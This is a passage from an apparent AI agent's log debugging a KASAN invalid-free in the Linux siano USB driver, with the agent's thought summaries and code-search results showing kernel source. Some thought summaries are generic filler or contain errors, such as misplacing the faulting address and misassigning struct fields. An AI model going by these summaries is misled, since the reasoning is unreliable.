So, if `usb_alloc_urb` fails for any `i` during this initialization, the code jumps to `err_unregister_device`, which then calls `smsusb_term_device(intf)`.

Now, let's revisit `smsusb_term_device`. The loop there is:

```c
		for (i = 0; i < MAX_URBS; i++)
			usb_free_urb(dev->surbs[i].urb);
```

My first reaction was, "Wait, if `usb_alloc_urb` failed, `dev->surbs[i].urb` should be `NULL`. And `usb_free_urb(NULL)` is documented as safe." So, that part alone shouldn't cause a double free or an invalid free.

Then I started wondering, "What if `smsusb_term_device` is called *before* any of `dev->surbs[i].urb` have been successfully allocated?" But I remembered that `dev` itself is allocated using `kzalloc_obj`, which means `dev->surbs[i].urb` should be initialized to `NULL` by default. So, that scenario *also* seems safe.

This is where things got tricky. The bug report explicitly stated that the object was freed by `smscore_unregister_device`! This threw me for a loop because `smsusb_term_device` is the function *containing* the problematic `usb_free_urb` call.

I then looked at the code within `smsusb_term_device` again, specifically the section that calls `smscore_unregister_device`:

```c
		/* unregister from smscore */
		if (dev->coredev)
			smscore_unregister_device(dev->coredev);
```

The bug report's traceback pointed directly to `smscore_unregister_device` as the caller that freed the memory. This suggests that the URBs, or at least the structures containing them, are being freed *within* `smscore_unregister_device` itself, and *then* `smsusb_term_device` proceeds to try and free them *again*.

So, my current hypothesis is that `smscore_unregister_device` is performing a cleanup that includes freeing the URBs. When `smsusb_term_device` is subsequently called, it iterates through and attempts to free these same URBs, leading to the double free. I need to examine the implementation of `smscore_unregister_device` in `drivers/media/common/siano/smscoreapi.c` to confirm this. That's where the actual memory management is likely happening, and where the conflict arises.


9/2 2026/09/04 10:16 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_unregister_device]

Results:
map[SourceCode:1177:	/*
1178:	 * notifies all clients registered with the device, notifies hotplugs,
1179:	 * frees all buffers and coredev object
1180:	 *
1181:	 * @param coredev pointer to a coredev object returned by
1182:	 *                smscore_register_device
1183:	 *
1184:	 * return: 0 on success, <0 on error.
1185:	 */
1186:	void smscore_unregister_device(struct smscore_device_t *coredev)
1187:	{
1188:		struct smscore_buffer_t *cb;
1189:		int num_buffers = 0;
1190:		int retry = 0;
1191:	
1192:		mutex_lock(&g_smscore_deviceslock);
1193:	
1194:		/* Release input device (IR) resources */
1195:		sms_ir_exit(coredev);
1196:	
1197:		smscore_notify_clients(coredev);
1198:		smscore_notify_callbacks(coredev, NULL, 0);
1199:	
1200:		/* at this point all buffers should be back
1201:		 * onresponse must no longer be called */
1202:	
1203:		while (1) {
1204:			while (!list_empty(&coredev->buffers)) {
1205:				cb = (struct smscore_buffer_t *) coredev->buffers.next;
1206:				list_del(&cb->entry);
1207:				kfree(cb);
1208:				num_buffers++;
1209:			}
1210:			if (num_buffers == coredev->num_buffers)
1211:				break;
1212:			if (++retry > 10) {
1213:				pr_info("exiting although not all buffers released.\n");
1214:				break;
1215:			}
1216:	
1217:			pr_debug("waiting for %d buffer(s)\n",
1218:				 coredev->num_buffers - num_buffers);
1219:			mutex_unlock(&g_smscore_deviceslock);
1220:			msleep(100);
1221:			mutex_lock(&g_smscore_deviceslock);
1222:		}
1223:	
1224:		pr_debug("freed %d buffers\n", num_buffers);
1225:	
1226:		if (coredev->common_buffer) {
1227:			if (coredev->usb_device)
1228:				kfree(coredev->common_buffer);
1229:			else
1230:				dma_free_coherent(coredev->device,
1231:						  coredev->common_buffer_size,
1232:						  coredev->common_buffer,
1233:						  coredev->common_buffer_phys);
1234:		}
1235:		kfree(coredev->fw_buf);
1236:	
1237:		list_del(&coredev->entry);
1238:		kfree(coredev);
1239:	
1240:		mutex_unlock(&g_smscore_deviceslock);
1241:	
1242:		pr_debug("device %p destroyed\n", coredev);
1243:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

10/2 2026/09/04 10:16 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11387
							output: 43
							thoughts: 658
						

Thoughts:
**My Debugging Journey: A Tale of Double Free and Pointer Puzzles**

Right, so I'm looking at this bug report, and it's screaming "double free" or, more accurately, an "invalid-free" according to KASAN. The report points to `smscore_unregister_device` as the initial culprit, specifically at line 1228 in `smscoreapi.c`. This line is checking `coredev->common_buffer` and conditionally calling `kfree` if `coredev->usb_device` is set.

Then, KASAN pipes up with a `BUG: KASAN: invalid-free in urb_destroy` and further up the stack, `usb_free_urb`. The address flagged by KASAN is `ffff888058ab1000`. What's really catching my eye here is the KASAN message immediately preceding it: "The buggy address is located 0 bytes to the right of 4096-byte region [ffff888058ab0000, ffff888058ab1000)". This tells me the pointer being freed is *exactly* at the end of a 4096-byte allocation.

Now, the bug report implies that `smscore_unregister_device` freed something, and then `usb_free_urb` tried to free it again. But KASAN's "invalid-free" suggests the address `ffff888058ab1000` wasn't a valid slab object to begin with, or it was already freed. Given the KASAN message, it's highly probable that `usb_free_urb` is the one tripping over this invalid pointer.

If `usb_free_urb` is trying to free `dev->surbs[i].urb`, and this `urb` pointer is pointing precisely to the end of that 4096-byte allocation, then `usb_free_urb` would indeed be presented with an invalid pointer. This immediately makes me wonder: how did `dev->surbs[i].urb` get this problematic value?

My next step is to backtrack and examine how `dev->surbs[i].urb` is initialized. I'm looking at `smsusb_init_device` and seeing the call to `smscore_register_device`. The `dev` structure itself is allocated using `kzalloc_obj(struct smsusb_device_t)`. This is where I need to dig deeper into the `struct smsusb_device_t` definition to understand the layout of `surbs` and how they relate to memory allocations. I suspect the issue lies in how the USB URBs are being managed and allocated within the `smsusb_device_t` structure, potentially leading to a pointer being set just outside its intended bounds.


11/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_device_t]

Results:
map[SourceCode:  49:	struct smsusb_device_t {
  50:		struct usb_device *udev;
  51:		struct smscore_device_t *coredev;
  52:	
  53:		struct smsusb_urb_t	surbs[MAX_URBS];
  54:	
  55:		int		response_alignment;
  56:		int		buffer_size;
  57:	
  58:		unsigned char in_ep;
  59:		unsigned char out_ep;
  60:		enum smsusb_state state;
  61:	};
 SourceFile:drivers/media/usb/siano/smsusb.c]

12/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12256
							output: 26
							thoughts: 1143
						

Thoughts:
**My Thought Process on the `netdevsim` and `smscore` Memory Allocation Issue**

Okay, I'm looking at this bug report, and my initial thought is about the allocation and freeing of a specific memory region, `[ffff888058ab0000, ffff888058ab1000)`. The report states that `dev` (presumably a `struct smsusb_device_t`) is allocated using `kzalloc_obj`. This is a good starting point for tracking memory.

However, the bug report then throws a curveball. It details an allocation by `task 3388` originating from `__alloc_skb` and leading to `nsim_dev_trap_report_work` in `drivers/net/netdevsim/dev.c`. This implies that a network socket buffer (skb) was allocated. Then, the same task (`3388`) frees this skb via `skb_release_data` and `__kfree_skb`, also within `nsim_dev_trap_report_work`. My initial reaction here is: "Wait, `netdevsim` is allocating and freeing an skb, and this seems to be related to the problematic memory region."

Then, the report provides even more crucial information. It states that this *same* 4096-byte region was allocated by `netdevsim` as an skb. This reinforces my suspicion that `netdevsim` is directly involved.

But here's where it gets really interesting. The bug report also shows that the page was *last allocated* via order 3, with specific `gfp_mask` flags, by `pid 3388` (the same task as the skb allocation) within `alloc_slab` and `__alloc_skb`. This confirms the skb allocation.

Now, the crucial part: the page was *last freed* by `pid 48` at `ts 77606871666`, with a stack trace pointing to `smscore_unregister_device` and `smsusb_term_device`. This is a significant divergence from the `netdevsim` activity. My mind immediately connects these two timestamps: the page was freed by `smscore` at an earlier timestamp (`77606871666`) and then allocated by `netdevsim` at a later timestamp (`77776651868`). This is the core of the potential issue – a double free or a use-after-free scenario.

I then focus on the `smscore_unregister_device` function. The report highlights a code snippet showing that `coredev->common_buffer` is freed. My immediate thought is: "Wait, `smscore_unregister_device` freed the PAGE itself?" I look at the code: `if (coredev->common_buffer) { if (coredev->usb_device) kfree(coredev->common_buffer); }`. My internal monologue goes: "`kfree` usually frees a slab object, but if `coredev->common_buffer` was a large allocation, it could potentially free the underlying page directly. This is a key area to investigate."

Continuing down the `smsusb_term_device` function in the report, I see a loop iterating through `MAX_URBS` and calling `usb_free_urb(dev->surbs[i].urb)`. My next question is: "Could `dev->surbs[i].urb` actually point to the memory region `ffff888058ab1000` or immediately after it? If `coredev->common_buffer` was freed, and then `smsusb_term_device` proceeds to free URBs, there's a chance of a memory corruption if one of those URBs was implicitly tied to the freed `common_buffer`."

Finally, I circle back to the initial allocation of `dev`. The report mentions `dev = kzalloc_obj(struct smsusb_device_t)`. I know `kzalloc_obj` is typically a macro for `kzalloc`. My final thought process is to confirm this, as the allocation details of `dev` itself are fundamental to understanding how `struct smsusb_device_t` is managed and where its members, like `common_buffer` and `surbs`, are likely allocated. The apparent discrepancy between `smscore` freeing a page and `netdevsim` later allocating an skb that seems to occupy that same space, potentially involving `struct urb` structures, is the central puzzle I'm trying to unravel.


13/2 2026/09/04 10:17 tool grepper
0m Args:
map[Expression:#define kzalloc_obj PathPrefix:]

Results:
map[Output:include/linux/slab.h=1073=void *kmalloc_nolock(size_t size, gfp_t gfp_flags, int node);
--
include/linux/slab.h-1154-/* All kzalloc aliases for kmalloc_(obj|objs|flex). */
include/linux/slab.h:1155:#define kzalloc_obj(P, ...) \
include/linux/slab.h-1156-	__alloc_objs(kzalloc, default_gfp(__VA_ARGS__), typeof(P), 1)
include/linux/slab.h:1157:#define kzalloc_objs(P, COUNT, ...) \
include/linux/slab.h-1158-	__alloc_objs(kzalloc, default_gfp(__VA_ARGS__), typeof(P), COUNT)
--
tools/include/linux/slab.h=200=static inline unsigned int kmem_cache_sheaf_size(struct slab_sheaf *sheaf)
--
tools/include/linux/slab.h-210-
tools/include/linux/slab.h:211:#define kzalloc_obj(P, ...) \
tools/include/linux/slab.h-212-	__alloc_objs(kzalloc, default_gfp(__VA_ARGS__), typeof(P), 1)
]

14/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13744
							output: 35
							thoughts: 143
						

Thoughts:
**A Deep Dive into `smsusb_device_t` Allocation**

My current line of thought revolves around the memory allocation for the `dev` structure, specifically `kzalloc_obj(struct smsusb_device_t)`. As I consider this allocation, my attention immediately shifts to the definition of `struct smsusb_device_t` itself, as understanding its composition is crucial for a complete grasp of the memory footprint and potential implications.

Upon reviewing the `struct smsusb_device_t` definition, I see it contains several key members:

*   `udev`: A pointer to a `struct usb_device`. This is standard for any USB device driver, representing the underlying USB device context.
*   `coredev`: A pointer to a `struct smscore_device_t`. This suggests an abstraction layer or a core component that this specific USB driver interacts with.
*   `surbs[MAX_URBS]`: An array of `struct smsusb_urb_t`. This is a significant component, as it indicates the driver manages multiple URB (USB Request Block) structures for its operations. The fact that it's an array implies a fixed, predefined number of URBs.
*   `response_alignment`: An integer, likely related to how responses from the device are aligned in memory for efficient processing.
*   `buffer_size`: Another integer, probably defining the size of buffers used for data transfer.
*   `in_ep` and `out_ep`: Unsigned characters representing the IN and OUT endpoint addresses on the USB device. Essential for directing data flow.
*   `state`: An enum `smsusb_state`, denoting the current operational state of the `smsusb` device.

However, a critical piece of information is missing from this immediate view: the value of `MAX_URBS`. This constant dictates the exact size of the `surbs` array within `struct smsusb_device_t`, and therefore, the overall size of the `struct smsusb_device_t`. Without knowing `MAX_URBS`, I cannot fully determine the memory overhead associated with each `smsusb_device_t` instance. This is a critical detail I need to investigate further to understand resource consumption and potential bottlenecks.


15/2 2026/09/04 10:17 tool grepper
0m Args:
map[Expression:#define MAX_URBS PathPrefix:drivers/media/usb/siano/]

Results:
map[Output:drivers/media/usb/siano/smsusb.c=6=Copyright (C) 2005-2009, Uri Shkolnik, Anatoly Greenblat
--
drivers/media/usb/siano/smsusb.c-27-#define MAX_BUFFERS		50
drivers/media/usb/siano/smsusb.c:28:#define MAX_URBS		10
drivers/media/usb/siano/smsusb.c-29-
]

16/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14032
							output: 43
							thoughts: 23
						

Thoughts:
**My Thought Process on `MAX_URBS` and `smsusb_urb_t`**

Okay, so the first thing that jumps out at me is this `MAX_URBS` constant. It's set to 10. This immediately tells me we're defining an upper limit on the number of URBs (USB Request Blocks) that can be handled or in use at any given time within this `smsusb` driver context. As an expert, I know URBs are the fundamental data structures for USB communication, representing a single I/O operation. So, a value of 10 suggests a fairly constrained buffer or queue for these operations. I'm wondering if this is a deliberate choice based on expected traffic patterns, available memory, or perhaps even hardware limitations of the specific USB controller this driver is targeting. It's not an excessively large number, which might imply a focus on resource efficiency or a scenario where parallel I/O isn't a primary concern.

Following that, I'm looking at the `struct smsusb_urb_t` size. This is where things get more concrete about what's being stored *within* each of those URBs. Knowing the size of this structure is crucial for understanding the memory footprint and potential overhead. If this structure is particularly large, even with only 10 URBs active, the memory consumption could be significant. Conversely, a small structure size indicates a more streamlined approach to representing USB requests. I'd be keen to dive into the members of `smsusb_urb_t` to understand *what* information is being tracked per URB. Is it just the buffer pointer and length, or are there other control fields, status indicators, or context-specific data that contribute to its size? The size directly impacts how many of these structures can fit into memory, which is always a consideration, especially in embedded systems or performance-critical drivers. My immediate thought is to correlate this size with the `MAX_URBS` to get a total memory allocation for the URB pool, which is a key performance and resource metric for me.


17/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_urb_t]

Results:
map[SourceCode:  38:	struct smsusb_urb_t {
  39:		struct list_head entry;
  40:		struct smscore_buffer_t *cb;
  41:		struct smsusb_device_t *dev;
  42:	
  43:		struct urb *urb;
  44:	
  45:		/* For the bottom half */
  46:		struct work_struct wq;
  47:	};
 SourceFile:drivers/media/usb/siano/smsusb.c]

18/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14227
							output: 43
							thoughts: 742
						

Thoughts:
**My Thought Process Unraveling the Bug**

Okay, let me try to piece together my thinking here. I'm looking at this `struct smsusb_urb_t` and trying to understand its size to see how it's being allocated in memory. I calculated that `struct smsusb_urb_t` is 72 bytes, consisting of `list_head` (16 bytes), `cb` (8 bytes), `dev` (8 bytes), `urb` (8 bytes), and `wq` (32 bytes). So, if I have 10 of these, that's 720 bytes. Then, I estimated the size of `struct smsusb_device_t` to be roughly 750 bytes, which includes the 720 bytes for the URBs, plus some other fields. This led me to believe that the `dev` structure itself is likely allocated from `kmalloc-1k`.

Now, the critical clue is this buggy address: `ffff888058ab1000`. I noticed this address is exactly at the beginning of a 4096-byte memory region, starting at `ffff888058ab0000`. This immediately told me that `dev->surbs[i].urb` must be pointing to `ffff888058ab1000`. The question that then consumed me was: *why* would `dev->surbs[i].urb` be pointing there?

I went back to the `smsusb_init_device` function, specifically the loop where the URBs are initialized:

```c
	/* initialize urbs */
	for (i = 0; i < MAX_URBS; i++) {
		dev->surbs[i].dev = dev;
		dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
		if (!dev->surbs[i].urb)
			goto err_unregister_device;
	}
```

My initial thought was that if `usb_alloc_urb` failed, it would jump to `err_unregister_device`. And since `dev` is allocated with `kzalloc_obj`, the `dev->surbs[i].urb` pointers should be `NULL` initially. So, if `usb_alloc_urb` failed for the very first URB (`i=0`), `dev->surbs[0].urb` would remain `NULL`.

But then I had a crucial realization: `usb_alloc_urb` is not the *only* place where `dev->surbs[i].urb` could be set. Is there any other part of the probe function that modifies this? No, `smsusb_init_device` is the probe function, and this is where it's supposed to be set up.

Then I considered the return value of `usb_alloc_urb`. Could it actually return `ffff888058ab1000`? If `usb_alloc_urb` returns a *valid* pointer, it's certainly not `NULL`.

My focus then shifted to `smsusb_start_streaming`. I saw that if `smsusb_start_streaming` fails, it also jumps to `err_unregister_device`:

```c
	rc = smsusb_start_streaming(dev);
	if (rc < 0) {
		pr_err("smsusb_start_streaming(...) failed\n");
		goto err_unregister_device;
	}
```

And if it goes to `err_unregister_device`, the `smsusb_term_device` function is called. Within `smsusb_term_device`, there's this loop:

```c
	for (i = 0; i < MAX_URBS; i++)
		usb_free_urb(dev->surbs[i].urb);
```

My initial thought here was that if `dev->surbs[i].urb` was successfully allocated by `usb_alloc_urb`, it would be correctly freed here.

However, the bug's address (`ffff888058ab1000`) being at the start of a page strongly suggests it's not a failed allocation but rather some kind of accidental reassignment or a pointer that was somehow *set* to that specific address. The crucial piece I was missing was that `smsusb_start_streaming` actually *does something* with the URBs, and this is where the problem likely lies – a miscalculation or corruption of the URB pointer within `smsusb_start_streaming` itself, leading to `dev->surbs[i].urb` being incorrectly set to that specific memory address instead of being properly allocated or left `NULL`.


19/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_start_streaming]

Results:
map[SourceCode: 192:	static int smsusb_start_streaming(struct smsusb_device_t *dev)
 193:	{
 194:		int i, rc;
 195:	
 196:		for (i = 0; i < MAX_URBS; i++) {
 197:			rc = smsusb_submit_urb(dev, &dev->surbs[i]);
 198:			if (rc < 0) {
 199:				pr_err("smsusb_submit_urb(...) failed\n");
 200:				smsusb_stop_streaming(dev);
 201:				break;
 202:			}
 203:		}
 204:	
 205:		return rc;
 206:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

20/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15234
							output: 43
							thoughts: 9
						

Thoughts:
**My Internal Monologue on `smsusb_submit_urb`**

Ah, `smsusb_submit_urb`. This is where things get interesting, isn't it? I'm currently diving into the nitty-gritty of how this particular USB submission routine operates, and it's proving to be a complex but ultimately revealing piece of the puzzle. My immediate thought upon seeing this function signature is one of focused intent: `smsusb_submit_urb` clearly signifies the *submission* of a USB Request Block (URB) by the `smsusb` driver.

I'm already anticipating a deep dive into the lifecycle of a URB within this context. My mind immediately goes to the preceding steps: the construction of this URB, its population with the necessary data and descriptors, and the context from which it's being initiated. Is it part of a larger data transfer, a control request, or perhaps a command to the underlying USB device? The name itself doesn't reveal the *why*, but it certainly defines the *what* – an act of sending a prepared request out onto the USB bus.

I'm also thinking about the parameters that likely accompany this function. There must be the URB itself, of course, but I'd expect to see a pointer to the device context, perhaps a handle to the endpoint it's destined for, and any flags or control bits that dictate the submission's behavior. Is this a synchronous or asynchronous submission? Will the driver block until the URB is processed, or will it be handed off to the USB core for later completion? This function is the gateway, and its behavior will dictate how the driver interacts with the USB hardware at a granular level.

Furthermore, I'm considering the implications for resource management. Submitting a URB implies allocating memory for it, potentially transferring data to DMA buffers, and managing its state throughout the submission and completion phases. I'm already preparing to trace the memory allocation and deallocation paths, and to understand how the driver handles potential errors during this submission process. What happens if the USB core rejects the URB? What are the error codes I should be looking for?

Ultimately, my focus with `smsusb_submit_urb` is on understanding its role as a critical juncture. It's the point where the driver's logical operations are translated into concrete, hardware-level requests. My goal is to meticulously follow the flow from here, understanding how the URB is queued, how it interacts with the USB host controller, and what callbacks or completion handlers are invoked when its associated operation concludes. This function is a key control point, and mastering its intricacies is essential for a complete understanding of the `smsusb` driver's USB communication strategy.


21/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_submit_urb]

Results:
map[SourceCode: 150:	static int smsusb_submit_urb(struct smsusb_device_t *dev,
 151:				     struct smsusb_urb_t *surb)
 152:	{
 153:		if (!surb->cb) {
 154:			/* This function can sleep */
 155:			surb->cb = smscore_getbuffer(dev->coredev);
 156:			if (!surb->cb) {
 157:				pr_err("smscore_getbuffer(...) returned NULL\n");
 158:				return -ENOMEM;
 159:			}
 160:		}
 161:	
 162:		usb_fill_bulk_urb(
 163:			surb->urb,
 164:			dev->udev,
 165:			usb_rcvbulkpipe(dev->udev, dev->in_ep),
 166:			surb->cb->p,
 167:			dev->buffer_size,
 168:			smsusb_onresponse,
 169:			surb
 170:		);
 171:		surb->urb->transfer_flags |= URB_FREE_BUFFER;
 172:	
 173:		return usb_submit_urb(surb->urb, GFP_ATOMIC);
 174:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

22/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15660
							output: 36
							thoughts: 282
						

Thoughts:
**My Thought Process Unraveling the `urb_destroy` KASAN Bug**

Okay, so I'm looking at this line: `surb->urb->transfer_flags |= URB_FREE_BUFFER;`. My immediate thought is, "Right, this flag is supposed to tell the USB core to handle the memory deallocation for the `transfer_buffer` when the URB itself is destroyed." This seems like a standard and correct mechanism for managing buffer lifetimes.

Then I follow the call chain, specifically how the URB destruction actually happens. I know `usb_free_urb` is the function that ultimately initiates this cleanup. My mental model, based on my understanding of the USB core's memory management, dictates that `usb_free_urb` will, in turn, call `urb_destroy`. And I recall (or would look up, if unsure) the relevant part of `urb_destroy`:

```c
static void urb_destroy(struct kref *kref)
{
	struct urb *urb = to_urb(kref);

	if (urb->transfer_flags & URB_FREE_BUFFER)
		kfree(urb->transfer_buffer); // This is the key line for the buffer freeing

	kfree(urb); // This frees the URB structure itself
}
```
This logic confirms my initial assumption: if `URB_FREE_BUFFER` is set, `kfree(urb->transfer_buffer)` will be executed. This is exactly what I expect to happen to prevent memory leaks.

However, the bug report throws a wrench into my understanding:
```
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
```
The critical piece of information here is "invalid-free in `urb_destroy` drivers/usb/core/urb.c:25". This immediately flags the line within `urb_destroy` responsible for the free operation as the source of the problem. My next step, naturally, is to go directly to that specific line of code, line 25 in `drivers/usb/core/urb.c`, to see precisely *what* is being freed and *why* KASAN is reporting it as an invalid-free. It's at this point I'd be scrutinizing the `if` condition and the `kfree` call itself, looking for any edge cases or incorrect states that might lead to a double-free or freeing of a non-allocated pointer.


23/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/usb/core/urb.c Name:urb_destroy]

Results:
map[SourceCode:  20:	static void urb_destroy(struct kref *kref)
  21:	{
  22:		struct urb *urb = to_urb(kref);
  23:	
  24:		if (urb->transfer_flags & URB_FREE_BUFFER)
  25:			kfree(urb->transfer_buffer);
  26:	
  27:		kfree(urb);
  28:	}
 SourceFile:drivers/usb/core/urb.c]

24/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16100
							output: 43
							thoughts: 249
						

Thoughts:
**My Thought Process Unraveling the `kfree` Issue**

Ah, I've pinpointed the problematic line: line 25 is where `kfree(urb->transfer_buffer);` is called. This is where the invalid free is occurring. My immediate question is, what exactly is `urb->transfer_buffer` pointing to at this moment? I need to trace its origin.

I'm looking at the `smsusb_submit_urb` function. Here's the relevant snippet:

```c
	usb_fill_bulk_urb(
		surb->urb,
		dev->udev,
		usb_rcvbulkpipe(dev->udev, dev->in_ep),
		surb->cb->p, // <-- This looks important
		dev->buffer_size,
		smsusb_onresponse,
		surb
	);
	surb->urb->transfer_flags |= URB_FREE_BUFFER;
```

Okay, `usb_fill_bulk_urb` is the function that populates the URB, and it explicitly sets `urb->transfer_buffer` to `surb->cb->p`. This tells me that `urb->transfer_buffer` is indeed `surb->cb->p`.

Now, the next crucial question is: what is `surb->cb`? My understanding is that `surb->cb` is a `struct smscore_buffer_t *`, and it's obtained by calling `smscore_getbuffer(dev->coredev)`. To fully understand the implications of this `kfree`, I need to delve into the implementation of `smscore_getbuffer` and see how that buffer is managed. That's my next step.


25/2 2026/09/04 10:17 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_getbuffer]

Results:
map[SourceCode:1637:	struct smscore_buffer_t *smscore_getbuffer(struct smscore_device_t *coredev)
1638:	{
1639:		struct smscore_buffer_t *cb = NULL;
1640:	
1641:		wait_event(coredev->buffer_mng_waitq, (cb = get_entry(coredev)));
1642:	
1643:		return cb;
1644:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

26/2 2026/09/04 10:17 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16532
							output: 41
							thoughts: 6
						

Thoughts:
**My Internal Monologue on `get_entry`**

Alright, let's dive into this `get_entry` function. I'm looking at the signature here, and it seems like it's designed to retrieve a specific entry, presumably from some kind of collection or database, based on a key. The name `get_entry` itself is pretty straightforward, suggesting a read operation.

My immediate thought is about the expected behavior. What happens if the entry *isn't* found? Is this function expected to raise an error, return a special sentinel value (like `None` or an empty object), or perhaps have an optional parameter to control this behavior? Given my expertise, I'd lean towards a robust implementation where the absence of an entry is a clearly handled outcome, not an unexpected exception unless it truly represents an exceptional condition.

I'm also considering the context of this `get_entry` function within the larger system. What kind of entries are we talking about? Are they simple data structures, complex objects with relationships, or perhaps something more abstract like configurations or permissions? The complexity of the "entry" itself will significantly influence the internal workings of `get_entry` and the potential edge cases to consider.

Furthermore, I'm curious about the mechanism for accessing the entry. Is it a direct lookup in a hash map? A database query with an index? A traversal through a linked list or tree structure? The performance implications will vary wildly based on this underlying data structure and access method. For an expert, efficiency is paramount, so I'd be analyzing the time and space complexity here. If this is a frequently called operation, a linear time complexity would be a red flag.

I also need to consider concurrency. If multiple threads or processes might be trying to `get_entry` simultaneously, or if the underlying data store is being modified concurrently, then synchronization mechanisms would be crucial. Is `get_entry` thread-safe? Does it rely on external locking? Or is the data structure inherently immutable or designed for concurrent access? This is a critical point for any production-grade system.

Finally, I'm thinking about error handling and validation. Does `get_entry` validate the provided key? What are the acceptable types and formats for this key? If an invalid key is passed, what's the expected outcome? A clear, informative error message is always preferred.

So, in essence, my initial thought process when encountering `get_entry` involves a rapid assessment of its purpose, its expected behavior (especially in failure cases), the nature of the data it interacts with, the underlying implementation strategy, concurrency considerations, and robust error handling. It's about anticipating the nuances and potential pitfalls that an expert would be all too familiar with.


27/2 2026/09/04 10:18 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:get_entry]

Results:
map[SourceCode:1623:	static struct smscore_buffer_t *get_entry(struct smscore_device_t *coredev)
1624:	{
1625:		struct smscore_buffer_t *cb = NULL;
1626:		unsigned long flags;
1627:	
1628:		spin_lock_irqsave(&coredev->bufferslock, flags);
1629:		if (!list_empty(&coredev->buffers)) {
1630:			cb = (struct smscore_buffer_t *) coredev->buffers.next;
1631:			list_del(&cb->entry);
1632:		}
1633:		spin_unlock_irqrestore(&coredev->bufferslock, flags);
1634:		return cb;
1635:	}
 SourceFile:drivers/media/common/siano/smscoreapi.c]

28/2 2026/09/04 10:18 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16803
							output: 44
							thoughts: 28
						

Thoughts:
**My Thought Process Regarding Buffer Allocation and Management**

Ah, I'm trying to get a handle on where these crucial buffers are being allocated and then subsequently integrated into the `coredev->buffers` list. My immediate next step is to dive into the `smscore_register_device` function. I suspect the initialization and registration process for the core device is where this allocation and linking will occur, so that's where my focus will be.


29/2 2026/09/04 10:18 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/smscoreapi.c Name:smscore_register_device]

Results:
map[SourceCode: 632:	/*
 633:	 * creates coredev object for a device, prepares buffers,
 634:	 * creates buffer mappings, notifies registered hotplugs about new device.
 635:	 *
 636:	 * @param params device pointer to struct with device specific parameters
 637:	 *               and handlers
 638:	 * @param coredev pointer to a value that receives created coredev object
 639:	 *
 640:	 * return: 0 on success, <0 on error.
 641:	 */
 642:	int smscore_register_device(struct smsdevice_params_t *params,
 643:				    struct smscore_device_t **coredev,
 644:				    gfp_t gfp_buf_flags,
 645:				    void *mdev)
 646:	{
 647:		struct smscore_device_t *dev;
 648:		u8 *buffer;
 649:	
 650:		dev = kzalloc_obj(*dev);
 651:		if (!dev)
 652:			return -ENOMEM;
 653:	
 654:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 655:		dev->media_dev = mdev;
 656:	#endif
 657:		dev->gfp_buf_flags = gfp_buf_flags;
 658:	
 659:		/* init list entry so it could be safe in smscore_unregister_device */
 660:		INIT_LIST_HEAD(&dev->entry);
 661:	
 662:		/* init queues */
 663:		INIT_LIST_HEAD(&dev->clients);
 664:		INIT_LIST_HEAD(&dev->buffers);
 665:	
 666:		/* init locks */
 667:		spin_lock_init(&dev->clientslock);
 668:		spin_lock_init(&dev->bufferslock);
 669:	
 670:		/* init completion events */
 671:		init_completion(&dev->version_ex_done);
 672:		init_completion(&dev->data_download_done);
 673:		init_completion(&dev->data_validity_done);
 674:		init_completion(&dev->trigger_done);
 675:		init_completion(&dev->init_device_done);
 676:		init_completion(&dev->reload_start_done);
 677:		init_completion(&dev->resume_done);
 678:		init_completion(&dev->gpio_configuration_done);
 679:		init_completion(&dev->gpio_set_level_done);
 680:		init_completion(&dev->gpio_get_level_done);
 681:		init_completion(&dev->ir_init_done);
 682:	
 683:		/* Buffer management */
 684:		init_waitqueue_head(&dev->buffer_mng_waitq);
 685:	
 686:		/* alloc common buffer */
 687:		dev->common_buffer_size = params->buffer_size * params->num_buffers;
 688:		if (params->usb_device)
 689:			buffer = kzalloc(dev->common_buffer_size, GFP_KERNEL);
 690:		else
 691:			buffer = dma_alloc_coherent(params->device,
 692:						    dev->common_buffer_size,
 693:						    &dev->common_buffer_phys,
 694:						    GFP_KERNEL | dev->gfp_buf_flags);
 695:		if (!buffer) {
 696:			smscore_unregister_device(dev);
 697:			return -ENOMEM;
 698:		}
 699:		dev->common_buffer = buffer;
 700:	
 701:		/* prepare dma buffers */
 702:		for (; dev->num_buffers < params->num_buffers;
 703:		     dev->num_buffers++, buffer += params->buffer_size) {
